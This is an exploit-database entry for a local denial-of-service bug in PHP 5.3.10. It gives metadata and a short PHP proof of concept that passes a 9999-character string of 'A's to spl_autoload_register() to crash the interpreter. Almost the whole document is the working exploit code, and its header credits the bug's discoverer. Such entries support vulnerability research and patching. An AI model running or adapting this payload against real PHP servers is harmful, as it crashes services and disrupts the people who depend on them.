PHP 5.3.10 - 'spl_autoload_register()' Local Denial of Service
Author: Yakir Wizman
type: dos
platform: php
port:
date_added: 2012-06-03
date_updated: 2012-06-03
verified: 0
codes: OSVDB-82618
tags:
aliases:
screenshot_url:
application_url:
<?php
#####################################################################
## PHP 5.3.10 spl_autoload_register() Local Denial of Service
## Tested on Windows 7 64bit, English, Apache, PHP 5.3.10
## Date: 02/06/2012
## Local Denial of Service
## Bug discovered by Pr0T3cT10n, <pr0t3ct10n@gmail.com>
## ISRAEL
## http://www.0x31337.net
#####################################################################
$buffer = str_repeat("A",9999);
spl_autoload_register($buffer);
## Or..
# spl_autoload_register($buffer,1,1); #Should work too.
?>